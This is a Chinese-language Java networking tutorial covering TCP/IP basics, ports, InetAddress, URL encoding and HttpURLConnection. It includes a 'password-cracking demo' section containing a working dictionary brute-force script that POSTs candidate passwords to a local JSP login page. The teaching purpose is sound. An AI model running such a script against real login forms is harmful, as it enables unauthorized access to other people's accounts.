TCP/IP的网络分层模型:应用层(HTTP/FTP/SMTP/POPS...),传输层(TCP协议),网络层(IP协议,负责为网络上节点分配唯一标识),物理层+数据链路层)。
IP地址用于标识网络中的一个通信实体,通常这个实体可以是一台主机,也可以是一台打印机,或者是路由器的某一个端口。而基于IP协议网络中传输的数据包,都必须使用IP地址来进行标识。
IP地址与端口:IP地址就是为网络上的每个物理节点(广义的)分配一个“门牌号”。通过IP地址,可以保证网络上的数据包能正确地找到每个物理节点,但每个物理节点上可能有多个应用程序在同时对外提供服务。端口:每个应用程序在网络上通信时,占用一个端口,相当于“房间号”,端口保证了物理节点的数据包能正确找到对应的应用程序。
端口的约定:(0~65535个端口)
0~1023: 公用端口。80(HTTP)、21(FTP)、110(POP)...
1023~49152:应用程序端口。MySQL:3306;Oracle:1521
49152~65535:动态分配端口。
先了解几个常用的类:
InetAddress:此类表示互联网协议 (IP) 地址。它有两个子类:Inet4Address, Inet6Address。
InetSocketAddress:它代表了IP地址+端口号
-
publicclassTest{
-
publicstaticvoidmain(String[]args){
-
try{
-
-
InetAddressaddress=InetAddress.getByAddress(newbyte[]{
-
(byte)192,(byte)168,0,8});
-
-
System.out.println(address.getHostName());
-
-
System.out.println(address.getHostAddress());
-
-
System.out.println(address.isReachable(3000));
-
}catch(Exceptione){
-
e.printStackTrace();
-
}
-
}
-
}
两个工具类:URLEncoder、URLDecoder。在有些场景,无法传输和存储“非西欧文字”,此时就需要用到URLEncoder。典型的像Cookie,Cookie的值就不能是中文。
举例说明1:
-
publicclassURLEncoderDeCoderUtil{
-
publicstaticvoidmain(String[]args){
-
Stringstr="Java学习系列(十六)Java面向对象之基于TCP协议的网络通信";
-
try{
-
-
str=URLEncoder.encode(str,"GBK");
-
System.out.println(str);
-
-
System.out.println(URLDecoder.decode(str,"GBK"));
-
}catch(UnsupportedEncodingExceptione){
-
e.printStackTrace();
-
}
-
}
-
}
URL:代表一个网络地址。
URLConnection:代表与网络地址的连接。
HttpURLConnection:基于HTTP协议的网络连接。
举例说明2:
-
publicclassTest{
-
publicstaticvoidmain(String[]args){
-
try{
-
URLurl=newURL("http://localhost:8080/test/index.jsp");
-
System.out.println("协议:"+url.getProtocol());
-
System.out.println("主机:"+url.getHost());
-
System.out.println("端口:"+url.getPort());
-
System.out.println("资源文件:"+url.getFile());
-
-
-
HttpURLConnectionconn=(HttpURLConnection)url.openConnection();
-
conn.connect();
-
BufferedReaderbr=newBufferedReader(newInputStreamReader(
-
conn.getInputStream()));
-
Stringline=null;
-
-
while((line=br.readLine())!=null){
-
System.out.println(line);
-
}
-
}catch(IOExceptione){
-
e.printStackTrace();
-
}
-
}
-
}
破解密码简单演示:
1)准备密码字典:password.txt (文件每行随便写上几个密码就行)
2)登录页面片段:
-
<formaction="loginPro.jsp"method="post">
-
用户名:
-
<inputname="username"type="text"/>
-
密码:
-
<inputname="passwd"type="password"/>
-
<br/>
-
<inputtype="submit"value="登录"/>
-
<inputtype="reset"value="取消"/>
-
<br/>
-
</form>
3)登录处理页面片段:
-
<%
-
Stringusername=request.getParameter("username");
-
Stringpasswd=request.getParameter("passwd");
-
if(username.equals("liu")&&passwd.equals("123")){
-
out.print("登录成功!");
-
}else{
-
out.print("登录失败!");
-
}
-
%>
4).程序实现代码:
【注意】连接要设置相应属性。可以打开Google浏览器进入处理页面后,按CTRL+SHIFT+I,将看到:
-
publicclassTest{
-
publicstaticvoidmain(String[]args){
-
try{
-
URLurl=newURL("http://localhost:8888/test/loginPro.jsp");
-
BufferedReaderbr=newBufferedReader(newInputStreamReader(
-
newFileInputStream("f:/password.txt")));
-
Stringpasswd=null;
-
while((passwd=br.readLine())!=null){
-
-
HttpURLConnectionconn=(HttpURLConnection)url
-
.openConnection();
-
conn
-
.setRequestProperty("Accept",
-
"application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
-
conn.setRequestProperty("Accept-Encoding","gzip,deflate,sdch");
-
conn.setRequestProperty("Connection","keep-alive");
-
conn.setDoInput(true);
-
conn.setDoOutput(true);
-
-
PrintStreamps=newPrintStream(conn.getOutputStream());
-
ps.print("username=liu&passwd="+passwd);
-
ps.flush();
-
-
BufferedReaderbr2=newBufferedReader(newInputStreamReader(
-
conn.getInputStream()));
-
Stringline=null;
-
while((line=br2.readLine())!=null){
-
if(line.contains("登录成功")){
-
System.out.println("正确的密码为:"+passwd);
-
}
-
}
-
}
-
}catch(IOExceptione){
-
e.printStackTrace();
-
}
-
}
-
}
TCP协议:它是一种可靠的端对端的协议。这是因为它为两台计算机之间的连接起了重要的作用:当一台计算机需要与另一台计算机连接时,TCP协议会让它们建立一个连接 用于发送和接收数据的虚拟链路。TCP协议保证了数据包在传送中准备无误。
TCP协议使用重发机制:当一个通信实体发送一个消息给另一个通信实体后,需要收到另一个通信实体确认信息,如果没有收到另一个通信实体的确认信息,则会再次重发刚才发送的信息。通过这个重发机制,TCP协议向应用程序提供可靠的通信连接,使它能够自动适应网上的各种变化,即使在Internet暂时出现阻塞的情况下,TCP也能够保证通信的可靠。
分享到:
相关推荐
13.1 TCP/IP协议简介 13.2 网络开发中的常用工具类 13.3 面向连接的TCP通信 13.4 无连接的UDP通信 13.5 UDP广播通信 13.6 局域网通信工具 第13章 Java网络编程 第13章-Java网络编程-Java面向对象程序设计教程-微课...
基于Java的网络通信系统通常由以下几个关键部分组成: 服务器端:作为通信的中心节点,负责处理来自客户端的请求,管理数据传输,并维持系统运行状态。 客户端:用户交互界面,允许用户发送请求到服务器,并接收...
而TCP层则提供面向应用的可靠的或非可靠的数据传输机制,这是网络编程的主要对象,一般不需要关心IP层是如何处理数据的。 目前较为流行的网络编程模型是客户机/服务器(C/S)结构。即通信双方一方作为服务器等待...
Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
网络基础之网络协议篇 111 UDP传输 124 TCP传输 126 十八、 反射技术 127 十九、 Ajax原理及实现步骤★★★★★ 130 Ajax概述 130 Ajax工作原理 130 Ajax实现步骤 130 详解区分请求类型: GET或POST 131 $.ajax标准...
Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
TCP网络通信程序设计与实现 摘要: 目前,基于TCP/IP协议的网络得到了普及和飞速的发展,Windows下的网络程序越来越 显得重要。利用TCP/IP协议提供的编程接口———Socket(套接字)可以开发出TCP/IP应用程 序。正确的...
Java基础语法:Java是一种面向对象编程语言,它支持类、对象、继承、多态等概念。Java语法包括变量、数据类型、运算符、控制...Java中的网络编程可以通过Java Socket API来实现,可以进行TCP、UDP等协议的网络通信。
5、网络通信可采用TCP或者URL相关类库; 6、处理程序异常,能够采用自定义异常; 7、可设置不同的起始URL; 8、代码采用模块化设计,特别是使用面向对象封装,类的定义、包的定义合理,内部类和匿名类合理; 9、使用...
Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
通过Socket类,可以实现基于TCP和UDP协议的网络通信。TCP是一种面向连接的协议,提供了可靠的通信服务;而UDP是无连接的协议,不保证消息的可靠传输。 ServerSocket类:ServerSocket类用于在服务器端监听客户端连接...
Java局域网通信——飞鸽传书源代码,大家都知道VB版、VC版还有Delphi版的飞鸽传书软件,但是Java版的确实不多,因此这个Java文件传输实例不可错过,Java网络编程技能的提升很有帮助。 Java聊天程序,包括服务端和...
本资源摘要信息是根据马士兵的JAVA视频整理的笔记,涵盖了JAVA语言的基础知识、语法、面向对象编程、集合框架、IO流、多线程、网络编程、数据库编程等方面的知识点。 基础知识 * 变量、数据类型、运算符、控制结构...
JSEditor 是 Eclipse 下编辑 JavaScript 源码的插件,提供语法高亮以及一些通用的面向对象方法。 Java数据库连接池 BoneCP BoneCP 是一个高性能的开源java数据库连接池实现库。它的设计初衷就是为了提高数据库连接...
JSEditor 是 Eclipse 下编辑 JavaScript 源码的插件,提供语法高亮以及一些通用的面向对象方法。 Java数据库连接池 BoneCP BoneCP 是一个高性能的开源java数据库连接池实现库。它的设计初衷就是为了提高数据库连接...
JSEditor 是 Eclipse 下编辑 JavaScript 源码的插件,提供语法高亮以及一些通用的面向对象方法。 Java数据库连接池 BoneCP BoneCP 是一个高性能的开源java数据库连接池实现库。它的设计初衷就是为了提高数据库连接...
2个目标文件 摘要:Java源码,文件操作,TCP,服务器 Tcp服务端与客户端的JAVA实例源代码,一个简单的Java TCP服务器端程序,别外还有一个客户端的程序,两者互相配合可以开发出超多的网络程序,这是最基础的部分。...